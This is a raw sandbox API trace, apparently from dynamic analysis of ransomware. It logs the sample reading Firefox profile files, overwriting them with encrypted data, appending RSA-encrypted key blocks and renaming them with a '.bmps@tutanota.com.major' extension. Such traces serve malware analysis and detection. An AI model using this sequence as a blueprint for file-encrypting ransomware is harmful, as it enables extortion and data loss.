(in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x36e8 [0231.215] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.215] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.215] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0231.215] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0231.215] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0231.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0231.215] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yX/E8HDNIh2Q6yXjrNpNn+Nm5blxTdbaDoYPbVZqzmlRqGRsl5MCWsIAFAlDnfu1\nJEe+k4coH/VOG3H4G/CmMV+iIqtF/no0Nu849h/icNOtXeAu8c5tZARLF/7S23ff\nViqUS/bICCITbcT/9hzBaVUWbmwR1QJ5pEjygzsCkeN0H9fvRngpKcouXo97mi0i\nfRdKcy+j2DjaBIkjhArbgmnOMlRl5XWZBIXg90Z4i9WTwdb6PbRIyIUIlDSF28Dh\nBImZDMjyYkSetBSh3VkoX3pv6jFy0h7j2aSdcByTtkKQvjP8uonNYYWTe5518qCa\nQF0539mZ0aHs8zX/cI59aQ==\n", pcchString=0x2e3f9a8) returned 1 [0231.215] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0231.215] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.215] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.216] CloseHandle (hObject=0x1a34) returned 1 [0231.216] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\search.json.mozlz4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\search.json.mozlz4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0231.218] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0231.218] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js", dwFileAttributes=0x80) returned 1 [0231.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666430 [0231.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0231.218] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\prefs.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0231.219] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8141) returned 1 [0231.219] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1fcd) returned 0x65a0e0 [0231.219] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1fcd) returned 0x6548b8 [0231.219] ReadFile (in: hFile=0x1a34, lpBuffer=0x65a0e0, nNumberOfBytesToRead=0x1fcd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a0e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1fcd, lpOverlapped=0x0) returned 1 [0231.231] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-8141, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0231.231] WriteFile (in: hFile=0x1a34, lpBuffer=0x6548b8*, nNumberOfBytesToWrite=0x1fcd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1fcd, lpOverlapped=0x0) returned 1 [0231.231] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1fcd [0231.231] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.231] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.231] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0231.232] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0231.232] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0231.232] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0231.232] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vtuS4wwgIFe8CJStXW9ytHCkSE5ig7g8It5lwoVXaRLrqBWhpbC4oLV6fYCyLrtx\nXKNkH5wR3FgtnXdksHKFnJ5rGn4G6N4n6rdoj6013vWZTVbZgK7lPOyqPoSdUa+G\n8Rn1SdeRq/znRDZmYzt0S4EZVQEriB5CrpIz8Z5Oeirz35RQwHjt/3Qm047rwofX\nb3rFiZUK/qamA32hg5VsDes3qR1Qxb/uHnGt3fV8LnM0OZN9C8C8pALQynWe2Lne\nLapaAtgjn2nVKNwiJOU4T0revkg2Rq2W/CslMao1ry6nwGUJZwNMDZw/olBhOXqE\nPjE6oolBEkTg9vZZ/iFQeQ==\n", pcchString=0x2e3f9a8) returned 1 [0231.232] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0231.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.232] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.232] CloseHandle (hObject=0x1a34) returned 1 [0231.232] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\prefs.js"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\prefs.js.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0231.234] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0231.234] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat", dwFileAttributes=0x80) returned 1 [0231.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6662c0 [0231.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0231.235] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\pluginreg.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0231.236] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=461) returned 1 [0231.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1cd) returned 0x581478 [0231.236] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1cd) returned 0x5aa568 [0231.236] ReadFile (in: hFile=0x1a34, lpBuffer=0x581478, nNumberOfBytesToRead=0x1cd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesRead=0x2e3f9b4*=0x1cd, lpOverlapped=0x0) returned 1 [0231.237] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0231.237] WriteFile (in: hFile=0x1a34, lpBuffer=0x5aa568*, nNumberOfBytesToWrite=0x1cd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5aa568*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1cd, lpOverlapped=0x0) returned 1 [0231.237] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1cd [0231.237] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.237] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.237] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0231.237] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0231.237] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0231.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0231.237] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="F/jb815VOsiKRlePdEHmKoc1zVMpVFSZm6RkZ5DrSAub73mrtR5/W7Jqnz4UugD2\n9zPXWJI7oYwCGl02RMk790g64n02JnL/pcpCctiKfkhuROlAghnfqhW9QHORHPlU\nmqOVxsS6H272k4xcmorKh3G+WZnEUlTHIj5gQVTMg4CxuorHAcK9eM0hFbaIPI9A\n9TbIyrajGHm8lUyf83Ay7s9hSMXrEerJSQcVcn8IZgFleqvYy3086OmwTn7e3dwp\nResJilahs8iLnjuMVF6LXgq25IkYqxPdrN07Ld8BUOFDyapug63JzF62sP/CV5nT\nRcFirujltu0Sibdc2yl+oQ==\n", pcchString=0x2e3f9a8) returned 1 [0231.237] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0231.247] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.247] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.247] CloseHandle (hObject=0x1a34) returned 1 [0231.248] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\pluginreg.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\pluginreg.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0231.252] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0231.252] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal", dwFileAttributes=0x80) returned 1 [0231.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0231.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60d898 [0231.253] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0231.253] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2131512) returned 1 [0231.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x208638) returned 0x354f020 [0231.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x208638) returned 0x3761020 [0231.254] ReadFile (in: hFile=0x1a34, lpBuffer=0x354f020, nNumberOfBytesToRead=0x208638, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354f020*, lpNumberOfBytesRead=0x2e3f9b4*=0x208638, lpOverlapped=0x0) returned 1 [0231.387] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-2131512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0231.387] WriteFile (in: hFile=0x1a34, lpBuffer=0x3761020*, nNumberOfBytesToWrite=0x208638, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3761020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x208638, lpOverlapped=0x0) returned 1 [0231.411] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x208638 [0231.411] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.411] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.411] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0231.412] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0231.412] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0231.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0231.412] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ya4q9wpT/B+TAt+dO/tAb/GA2FhBycTOXMgTILwRdBgJhJuYwP10vTpuwvS9h8hL\nizuy6THREkrC3NvVvhJGeSIGsCwGhfHDmSR0f0YXEkFZm1hllirSoGybAWeXtSVS\nA4W69sgCgzt4LHWtMRlMPA5WpnPcX2L20D16HyQ8lnC5soloEG4sD7rD0EtzWM2n\npaVIaHG8PP7N8oM3iT9e1YUka9/S8en986jMGAlK/gFLf9Oidx0kC0+/m6EmeY9T\nhnoHRo3gaRIt2cW00G7sel40DLXcSWd0lurk2j6Oz3JWuCJdf5POdShmX91Odg7k\nmDvBHAayOLyWWsae0YaWrQ==\n", pcchString=0x2e3f9a8) returned 1 [0231.412] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0231.412] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.412] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.412] CloseHandle (hObject=0x1a34) returned 1 [0231.412] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-wal"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-wal.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-wal.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0231.414] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0231.414] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm", dwFileAttributes=0x80) returned 1 [0231.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6642d8 [0231.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60de60 [0231.415] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0231.415] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=32768) returned 1 [0231.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8000) returned 0x33d5010 [0231.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8000) returned 0x33dd018 [0231.415] ReadFile (in: hFile=0x1a34, lpBuffer=0x33d5010, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5010*, lpNumberOfBytesRead=0x2e3f9b4*=0x8000, lpOverlapped=0x0) returned 1 [0231.455] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0231.455] WriteFile (in: hFile=0x1a34, lpBuffer=0x33dd018*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33dd018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8000, lpOverlapped=0x0) returned 1 [0231.455] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8000 [0231.455] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.455] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.456] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0231.456] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0231.456] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0231.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0231.456] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="N0TpFlDrAmw9e5fofodRXjW4USFgPHSpssPz1e49RaZw0nr/BRj4XZKoSBExmhhj\nbTgbBjLhA6e3ttbtN6vuflEfDNlp2MH9UuhKZL2RR+3t9z79kKsJOOz4IIaAJOyN\nIszkDgTxUSesZzJPBmfAK7/XDhk2a1CnTDLU7f1tqM0W5Ya8pUn/PL4Cega/9Ur9\nze+5V/SpGC4ytUq/kocMfAFr5rM/I5gaXeQSYbqOjT0/9xDeheMGOJt3DXgnrK/x\nrfbN7SAD8BbgadKkbJnAcYh6rZ56WjTYIQSDca8bKina0mqShnV2zxRZt22Dbn0t\nI/Hrfo0j8Ae3nxM0S79/fg==\n", pcchString=0x2e3f9a8) returned 1 [0231.456] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0231.456] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.456] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.456] CloseHandle (hObject=0x1a34) returned 1 [0231.457] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-shm"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite-shm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite-shm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0231.459] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0231.459] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite", dwFileAttributes=0x80) returned 1 [0231.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667798 [0231.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0231.459] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0231.460] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5242880) returned 1 [0231.460] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x500000) returned 0x3545020 [0231.461] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x500000) returned 0x3a54020 [0231.461] ReadFile (in: hFile=0x1a34, lpBuffer=0x3545020, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3545020*, lpNumberOfBytesRead=0x2e3f9b4*=0x500000, lpOverlapped=0x0) returned 1 